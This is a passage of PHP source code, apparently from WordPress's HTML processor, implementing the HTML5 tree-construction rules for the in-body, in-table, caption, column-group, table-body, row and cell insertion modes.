				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "nobr"
			 */
			case '+NOBR':
				$this->reconstruct_active_formatting_elements();

				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'NOBR' ) ) {
					// Parse error.
					$this->run_adoption_agency_algorithm();
					$this->reconstruct_active_formatting_elements();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is one of: "a", "b", "big", "code", "em", "font", "i",
			 * > "nobr", "s", "small", "strike", "strong", "tt", "u"
			 */
			case '-A':
			case '-B':
			case '-BIG':
			case '-CODE':
			case '-EM':
			case '-FONT':
			case '-I':
			case '-NOBR':
			case '-S':
			case '-SMALL':
			case '-STRIKE':
			case '-STRONG':
			case '-TT':
			case '-U':
				$this->run_adoption_agency_algorithm();
				return true;

			/*
			 * > A start tag whose tag name is one of: "applet", "marquee", "object"
			 */
			case '+APPLET':
			case '+MARQUEE':
			case '+OBJECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A end tag token whose tag name is one of: "applet", "marquee", "object"
			 */
			case '-APPLET':
			case '-MARQUEE':
			case '-OBJECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// This is a parse error.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				return true;

			/*
			 * > A start tag whose tag name is "table"
			 */
			case '+TABLE':
				/*
				 * > If the Document is not set to quirks mode, and the stack of open elements
				 * > has a p element in button scope, then close a p element.
				 */
				if (
					WP_HTML_Tag_Processor::QUIRKS_MODE !== $this->compat_mode &&
					$this->state->stack_of_open_elements->has_p_in_button_scope()
				) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This is prevented from happening because the Tag Processor
			 * reports all closing BR tags as if they were opening tags.
			 */

			/*
			 * > A start tag whose tag name is one of: "area", "br", "embed", "img", "keygen", "wbr"
			 */
			case '+AREA':
			case '+BR':
			case '+EMBED':
			case '+IMG':
			case '+KEYGEN':
			case '+WBR':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "input"
			 */
			case '+INPUT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the token does not have an attribute with the name "type", or if it does,
				 * > but that attribute's value is not an ASCII case-insensitive match for the
				 * > string "hidden", then: set the frameset-ok flag to "not ok".
				 */
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					$this->state->frameset_ok = false;
				}

				return true;

			/*
			 * > A start tag whose tag name is one of: "param", "source", "track"
			 */
			case '+PARAM':
			case '+SOURCE':
			case '+TRACK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "hr"
			 */
			case '+HR':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "image"
			 */
			case '+IMAGE':
				/*
				 * > Parse error. Change the token's tag name to "img" and reprocess it. (Don't ask.)
				 *
				 * Note that this is handled elsewhere, so it should not be possible to reach this code.
				 */
				$this->bail( "Cannot process an IMAGE tag. (Don't ask.)" );
				break;

			/*
			 * > A start tag whose tag name is "textarea"
			 */
			case '+TEXTAREA':
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token, then ignore
				 * > that token and move on to the next one. (Newlines at the start of
				 * > textarea elements are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->state->frameset_ok = false;

				/*
				 * > Switch the insertion mode to "text".
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				return true;

			/*
			 * > A start tag whose tag name is "xmp"
			 */
			case '+XMP':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->reconstruct_active_formatting_elements();
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * A start tag whose tag name is "iframe"
			 */
			case '+IFRAME':
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noembed"
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOEMBED':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "select"
			 */
			case '+SELECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				switch ( $this->state->insertion_mode ) {
					/*
					 * > If the insertion mode is one of "in table", "in caption", "in table body", "in row",
					 * > or "in cell", then switch the insertion mode to "in select in table".
					 */
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
						break;

					/*
					 * > Otherwise, switch the insertion mode to "in select".
					 */
					default:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
						break;
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "optgroup", "option"
			 */
			case '+OPTGROUP':
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rb", "rtc"
			 */
			case '+RB':
			case '+RTC':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags();

					if ( $this->state->stack_of_open_elements->current_node_is( 'RUBY' ) ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rp", "rt"
			 */
			case '+RP':
			case '+RT':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags( 'RTC' );

					$current_node_name = $this->state->stack_of_open_elements->current_node()->node_name;
					if ( 'RTC' === $current_node_name || 'RUBY' === $current_node_name ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "math"
			 */
			case '+MATH':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust MathML attributes for the token. (This fixes the case of MathML attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'math';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is "svg"
			 */
			case '+SVG':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust SVG attributes for the token. (This fixes the case of SVG attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink in SVG.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'svg';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup",
			 * > "frame", "head", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+FRAME':
			case '+HEAD':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				// Parse error. Ignore the token.
				return $this->step();
		}

		if ( ! parent::is_tag_closer() ) {
			/*
			 * > Any other start tag
			 */
			$this->reconstruct_active_formatting_elements();
			$this->insert_html_element( $this->state->current_token );
			return true;
		} else {
			/*
			 * > Any other end tag
			 */

			/*
			 * Find the corresponding tag opener in the stack of open elements, if
			 * it exists before reaching a special element, which provides a kind
			 * of boundary in the stack. For example, a `</custom-tag>` should not
			 * close anything beyond its containing `P` or `DIV` element.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
				if ( 'html' === $node->namespace && $token_name === $node->node_name ) {
					break;
				}

				if ( self::is_special( $node ) ) {
					// This is a parse error, ignore the token.
					return $this->step();
				}
			}

			$this->generate_implied_end_tags( $token_name );
			if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
				// @todo Record parse error: this error doesn't impact parsing.
			}

			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->pop();
				if ( $node === $item ) {
					return true;
				}
			}
		}

		$this->bail( 'Should not have been able to reach end of IN BODY processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Parses next element in the 'in table' insertion mode.
	 *
	 * This internal function performs the 'in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token, if the current node is table,
			 * > tbody, template, tfoot, thead, or tr element
			 */
			case '#text':
				$current_node      = $this->state->stack_of_open_elements->current_node();
				$current_node_name = $current_node ? $current_node->node_name : null;
				if (
					$current_node_name && (
						'TABLE' === $current_node_name ||
						'TBODY' === $current_node_name ||
						'TEMPLATE' === $current_node_name ||
						'TFOOT' === $current_node_name ||
						'THEAD' === $current_node_name ||
						'TR' === $current_node_name
					)
				) {
					/*
					 * If the text is empty after processing HTML entities and stripping
					 * U+0000 NULL bytes then ignore the token.
					 */
					if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
						return $this->step();
					}

					/*
					 * This follows the rules for "in table text" insertion mode.
					 *
					 * Whitespace-only text nodes are inserted in-place. Otherwise
					 * foster parenting is enabled and the nodes would be
					 * inserted out-of-place.
					 *
					 * > If any of the tokens in the pending table character tokens
					 * > list are character tokens that are not ASCII whitespace,
					 * > then this is a parse error: reprocess the character tokens
					 * > in the pending table character tokens list using the rules
					 * > given in the "anything else" entry in the "in table"
					 * > insertion mode.
					 * >
					 * > Otherwise, insert the characters given by the pending table
					 * > character tokens list.
					 *
					 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
					 */
					if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
						$this->insert_html_element( $this->state->current_token );
						return true;
					}

					// Non-whitespace would trigger fostering, unsupported at this time.
					$this->bail( 'Foster parenting is not supported.' );
					break;
				}
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "caption"
			 */
			case '+CAPTION':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->state->active_formatting_elements->insert_marker();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
				return true;

			/*
			 * > A start tag whose tag name is "colgroup"
			 */
			case '+COLGROUP':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return true;

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->state->stack_of_open_elements->clear_to_table_context();

				/*
				 * > Insert an HTML element for a "colgroup" start tag token with no attributes,
				 * > then switch the insertion mode to "in column group".
				 */
				$this->insert_virtual_node( 'COLGROUP' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "td", "th", "tr"
			 */
			case '+TD':
			case '+TH':
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_context();
				/*
				 * > Insert an HTML element for a "tbody" start tag token with no attributes,
				 * > then switch the insertion mode to "in table body".
				 */
				$this->insert_virtual_node( 'TBODY' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "table"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is "table"
			 */
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "style", "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+STYLE':
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				/*
				 * > Process the token using the rules for the "in head" insertion mode.
				 */
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "input"
			 *
			 * > If the token does not have an attribute with the name "type", or if it does, but
			 * > that attribute's value is not an ASCII case-insensitive match for the string
			 * > "hidden", then: act as described in the "anything else" entry below.
			 */
			case '+INPUT':
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					goto anything_else;
				}
				// @todo Indicate a parse error once it's possible.
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+FORM':
				if (
					$this->state->stack_of_open_elements->has_element_in_scope( 'TEMPLATE' ) ||
					isset( $this->state->form_element )
				) {
					return $this->step();
				}

				// This FORM is special because it immediately closes and cannot have other children.
				$this->insert_html_element( $this->state->current_token );
				$this->state->form_element = $this->state->current_token;
				$this->state->stack_of_open_elements->pop();
				return true;
		}

		/*
		 * > Anything else
		 * > Parse error. Enable foster parenting, process the token using the rules for the
		 * > "in body" insertion mode, and then disable foster parenting.
		 *
		 * @todo Indicate a parse error once it's possible.
		 */
		anything_else:
		$this->bail( 'Foster parenting is not supported.' );
	}

	/**
	 * Parses next element in the 'in table text' insertion mode.
	 *
	 * This internal function performs the 'in table text' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_text(): bool {
		$this->bail( 'No support for parsing in the ' . WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT . ' state.' );
	}

	/**
	 * Parses next element in the 'in caption' insertion mode.
	 *
	 * This internal function performs the 'in caption' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incaption
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_caption(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is "caption"
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 *
			 * These tag handling rules are identical except for the final instruction.
			 * Handle them in a single block.
			 */
			case '-CAPTION':
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'CAPTION' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'CAPTION' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'CAPTION' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;

				// If this is not a CAPTION end tag, the token should be reprocessed.
				if ( '-CAPTION' === $op ) {
					return true;
				}
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/**
			 * > An end tag whose tag name is one of: "body", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/**
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in column group' insertion mode.
	 *
	 * This internal function performs the 'in column group' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incolgroup
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_column_group(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * > U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_column_group_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// @todo Indicate a parse error once it's possible.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > An end tag whose tag name is "colgroup"
			 */
			case '-COLGROUP':
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "col"
			 */
			case '-COL':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		in_column_group_anything_else:
		/*
		 * > Anything else
		 */
		if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
			// @todo Indicate a parse error once it's possible.
			return $this->step();
		}
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in table body' insertion mode.
	 *
	 * This internal function performs the 'in table body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_body(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_virtual_node( 'TR' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '-TABLE':
				if (
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TBODY' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'THEAD' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TFOOT' )
				) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * > Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in row' insertion mode.
	 *
	 * This internal function performs the 'in row' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intr
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_row(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
				$this->state->active_formatting_elements->insert_marker();
				return true;

			/*
			 * > An end tag whose tag name is "tr"
			 */
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in cell' insertion mode.
	 *
	 * This internal function performs the 'in cell' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intd
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_cell(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is one of: "td", "th"
			 */
			case '-TD':
			case '-TH':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();

				/*
				 * @todo This needs to check if the current node is an HTML element, meaning that
				 *       when SVG and MathML support is added, this needs to differentiate between an
				 *       HTML element of the given name, such as `<center>`, and a foreign element of
				 *       the same given name.
				 */
